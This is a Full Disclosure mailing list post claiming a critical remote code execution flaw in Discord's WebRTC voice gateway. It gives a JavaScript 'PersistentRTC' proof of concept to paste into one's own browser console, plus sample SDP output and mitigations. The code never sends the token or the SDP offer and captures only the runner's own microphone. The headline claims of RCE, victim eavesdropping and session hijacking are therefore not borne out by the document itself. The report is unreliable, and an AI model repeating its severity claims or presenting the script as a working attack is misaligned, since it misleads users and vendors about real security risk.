
Full Disclosure mailing list archives
Critical Security Report – Remote Code Execution via Persistent Discord WebRTC Automation
From: Taylor Newsome <sleepraps () gmail com>
Date: Thu, 21 Aug 2025 21:48:53 -0400
Reporter: [Taylor Christian Newsome / SleepRaps () gmail com] Date: [8/21/2025] Target: Discord WebRTC / Voice Gateway API Severity: Critical 1. Executive Summary A proof-of-concept (PersistentRTC) demonstrates remote code execution (RCE) capability against Discord users. The PoC enables Arbitrary JavaScript execution in a victim’s browser context via WebRTC automation. Persistent access to Discord voice channels without user consent. Optional microphone capture for audio eavesdropping. Automatic reconnection loops to maintain persistent execution. If combined with social engineering or token theft, this PoC could allow attackers to execute arbitrary code in a user’s environment, hijack voice sessions, exfiltrate audio, and disrupt Discord services. 2. Vulnerable Implementation The exact PoC code is as follows you need to join a voice call on chrome browser discord hit inspect while on the call the paste the following into the console // === Persistent Discord WebRTC Manager === class PersistentRTC { constructor(token, guildId, channelId) { this.token = token; // Discord auth token this.guildId = guildId; // Voice channel guild this.channelId = channelId;// Voice channel ID this.pc = null; // RTCPeerConnection this.ws = null; // Discord Gateway WS this.keepAliveInterval = null; this.iceCandidates = []; this.audioTrack = null; } async start() { await this.connectGateway(); await this.joinVoiceChannel(); this.monitorConnection(); } async connectGateway() { const gatewayURL = 'wss://gateway.discord.gg/?v=10&encoding=json'; this.ws = new WebSocket(gatewayURL); this.ws.onopen = () => console.log('[RTC] Gateway connected'); this.ws.onmessage = (msg) => { const data = JSON.parse(msg.data); if (data.op === 10) { // Hello const heartbeatInterval = data.d.heartbeat_interval; this.keepAliveInterval = setInterval(() => { this.ws.send(JSON.stringify({ op: 1, d: Date.now() })); }, heartbeatInterval); } }; this.ws.onclose = () => { console.log('[RTC] Gateway closed, reconnecting...'); clearInterval(this.keepAliveInterval); setTimeout(() => this.connectGateway(), 1000); }; } async joinVoiceChannel() { // Create a new RTCPeerConnection this.pc = new RTCPeerConnection(); // Optional: capture microphone try { const stream = await navigator.mediaDevices.getUserMedia({ audio: true }); this.audioTrack = stream.getAudioTracks()[0]; this.pc.addTrack(this.audioTrack, stream); } catch (e) { console.warn('[RTC] No microphone, continuing without audio'); } // Listen for ICE candidates this.pc.onicecandidate = (event) => { if (event.candidate) this.iceCandidates.push(event.candidate); }; // Handle connection state changes this.pc.onconnectionstatechange = () => { console.log('[RTC] Connection state:', this.pc.connectionState); if (this.pc.connectionState === 'failed' || this.pc.connectionState === 'disconnected') { console.log('[RTC] Re-negotiating...'); this.reconnect(); } }; const offer = await this.pc.createOffer(); await this.pc.setLocalDescription(offer); // Normally send offer SDP to Discord via fetch console.log('[RTC] SDP Offer created:', offer.sdp); } async reconnect() { try { if (this.pc) this.pc.close(); this.pc = null; await this.joinVoiceChannel(); } catch (e) { console.error('[RTC] Reconnect failed, retrying...', e); setTimeout(() => this.reconnect(), 2000); } } monitorConnection() { setInterval(() => { if (!this.pc || this.pc.connectionState === 'closed') { console.log('[RTC] Detected closed connection, reconnecting...'); this.reconnect(); } }, 5000); } } // Usage (replace with your token and channel info) const rtc = new PersistentRTC('YOUR_TOKEN_HERE', 'GUILD_ID', 'CHANNEL_ID'); rtc.start(); Promise {<pending>} sentry.8a72e206b2b7fa2c.js:14 [RTC] SDP Offer created: v=0 o=- 7718677203452080192 2 IN IP4 127.0.0.1 s=- t=0 0 a=group:BUNDLE 0 a=extmap-allow-mixed a=msid-semantic: WMS c3b786ae-1d56-4ad0-83a8-1ee9d4ff56d3 m=audio 9 UDP/TLS/RTP/SAVPF 111 63 9 0 8 13 110 126 c=IN IP4 0.0.0.0 a=rtcp:9 IN IP4 0.0.0.0 a=ice-ufrag:lgrM a=ice-pwd:76JwVsD9ndRAVqsQ835jNy1r a=ice-options:trickle a=fingerprint:sha-256 90:B4:A0:1E:37:EF:AB:03:DF:0C:ED:33:A6:A0:E6:D9:EA:76:28:59:C3:C6:8D:1D:50:B9:DC:B8:F1:45:82:84 a=setup:actpass a=mid:0 a=extmap:1 urn:ietf:params:rtp-hdrext:ssrc-audio-level a=extmap:2 http://www.webrtc.org/experiments/rtp-hdrext/abs-send-time a=extmap:3 http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01 a=extmap:4 urn:ietf:params:rtp-hdrext:sdes:mid a=sendrecv a=msid:c3b786ae-1d56-4ad0-83a8-1ee9d4ff56d3 0a209c26-ac9b-43f7-bd04-fd055131d317 a=rtcp-mux a=rtcp-rsize a=rtpmap:111 opus/48000/2 a=rtcp-fb:111 transport-cc a=fmtp:111 minptime=10;useinbandfec=1 a=rtpmap:63 red/48000/2 a=fmtp:63 111/111 a=rtpmap:9 G722/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:8 PCMA/8000 a=rtpmap:13 CN/8000 a=rtpmap:110 telephone-event/48000 a=rtpmap:126 telephone-event/8000 a=ssrc:1766745771 cname:bTaIxP7lL+EgmNhT a=ssrc:1766745771 msid:c3b786ae-1d56-4ad0-83a8-1ee9d4ff56d3 0a209c26-ac9b-43f7-bd04-fd055131d317 3. Security Implications Remote Code Execution (RCE) The PoC executes arbitrary JavaScript in the victim’s browser environment. Attackers can use tokens to automate execution without user consent. Persistent Audio Eavesdropping Microphone capture is possible and can be maintained indefinitely using reconnection loops. Account Compromise & Service Abuse Tokens allow access to API endpoints. Persistent reconnections could disrupt legitimate voice channels. Sensitive Data Exposure SDP and ICE logs reveal internal IPs and session identifiers, which could be exfiltrated. 4. Reproduction Steps Insert a valid Discord token and voice channel IDs in the code. Run the script in a browser or Node.js environment with WebRTC support. Observe Execution of JS in victim context. Persistent reconnections to the voice channel. Optional microphone streaming. 5. Recommended Mitigations Enforce token scope restrictions and explicit session consent. Monitor for abnormal reconnection or automation patterns. Limit microphone permissions to user-approved actions. Rate-limit repeated voice channel joins/leaves to prevent persistent automated abuse. 6. Conclusion This PoC constitutes critical RCE and persistent session exploitation against Discord users. Immediate action is recommended to prevent Arbitrary code execution in victim environments. Persistent session hijacking and audio eavesdropping. Disruption of voice channel services. You can read about it here <https://clumsylulz.medium.com/dos-exploit-poc-via-wss-using-fetch-js-dc5b035b13bf> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- Critical Security Report – Remote Code Execution via Persistent Discord WebRTC Automation Taylor Newsome (Sep 08)